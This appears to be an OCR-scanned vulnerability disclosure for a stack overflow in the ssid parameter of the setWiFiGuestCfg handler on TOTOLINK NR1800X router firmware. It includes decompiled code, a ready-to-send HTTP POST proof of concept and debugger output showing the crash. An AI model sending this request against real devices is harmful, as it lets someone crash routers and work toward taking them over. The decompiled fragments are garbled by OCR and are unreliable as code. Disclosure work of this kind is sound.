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totolink buffer Overflow

description:

a stack overflow vulnerability was found on TOTOLINK NR1800X V9.1.0u.6681_B20230703 was
discovered to contain an authenticated stack overflow via the ssid parameter in the
setWiFiGuestCfg function.

Firmware

brand:totoLink
product:NR1800X
version: V9.1.0u.6681_B20230703 and the version before tihs.

The firmware can be downloaded from this website and using FirmAE to simulate the router
environment.
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analyze

‘ Decompile: FUN_00425e28 — 6 st RO ‘ ‘ E‘ ‘ ﬁ‘ MR

19| memset (ausStack b8,0,0x80) ;

r(param_1,"accessEnabled”,"0") ;

r(param_1,"wifildx","0");

r(param_1,"wifiOff","0");

r(param_1, "encryptionWay","0");

r(param_1, "encryptionType", "0");

r(param_1, "keyType","0");

aram_1,"key","");

var2,"guest_enable",ivar3 == 0);

(uvard ,austack b8);
et (ivar2, "guest_ssid",auStack b8);

41 iva et_int ("wifi_wepwpa_support");
42 £

43 n int (ivar2,"guest_encryption way",ivarS);
44 if ( 0

45 set (ivar2, "guest_auth_mode", $DAT_0043c940) ;
16 an_set (ivar2, "guest_wep_x","0");

47 ¥

the identifier uVar4 retrieves the value from the ssid,and without the check of length ,if the
length of ssid exceed 0x80 would lead to overflow in the function urldecode

POST /cgi-bin/cstecgi.cgi?token=d1e275375bac9021c92aeb3bb3b93344 HTTP/1.1 &
Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101
Firefox/136.0

Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 336

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/1login.html

Priority: u=0
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"ssid":"1111111111111111111131111391113911119111131111391113911139111131111311113
"addEffect":"0",

"wifildx":"1",

"band":"1",

"topicurl":"setWiFiGuestCfg"

using burpsuite to send the post request and the result as follow

Intruder Window Help

Intruder

Burp  Project
Dashboard
1= 2 x

Repeater
Target Proxy

3 =

Repeater

Sequencer

tsf@tsF-virtual-machine: ~

Thread 8.1 "cstecgi.cgi”

in 2?2 ()
warning: GDB can't find the start of the function at ©x4263c4.
REERE LEGEND: STACK | | | | | RODATA

received signal SIGSEGV, Segmentation fault.

| Cancel |

Request

Raw Hex \n = ve o

1 POST /cgi-bin/cstecgi.cgi?token=dle275375bacs021cozaehs
ZHost: 192.168.0.1
3 User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86_64; rv:
4 Accept: application/json, text/javascript, */*; g=0.01
S Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charse
X-Requested-With: XMLHttpRequest
o Content-Length: 3386
| Loorigin: http://192.168.0.1
g | | Connection: close
12 Referer: http://192.168.0.1/legin.html
12 Priority: u=0
14

1111111111111111111111111111111111111111
o,

"topicurl":"setWiFiGuestcfg"

0 matches

OB [€]2)[seac

Waiting

Ao

©x31313131 ('1111')

(<]

Ox7FFFffff
0xa

i)

5

0x19999999

0x44a9e0

(<]

0x42:

3dc

0x4263e0

0x4263e4

0x4263ec

:0000
10004
10008
:000c
4:0010
10014

sp

< 0x31313131 ('1111')
nop

Oxc f/* '\x@c' */

oxc f* '\xec' */
6x31313131 ('1111") ,
04;_ /* "\xec' */
Oxc [*

"\x@c' */

0x31313131 ('1111')

< 0x31313131 ('1111')
- <« 'remote_ipaddr'
<« 0x7747d894
<+ 0x4439e0
= >

and can find this request lead to the buffer overflow
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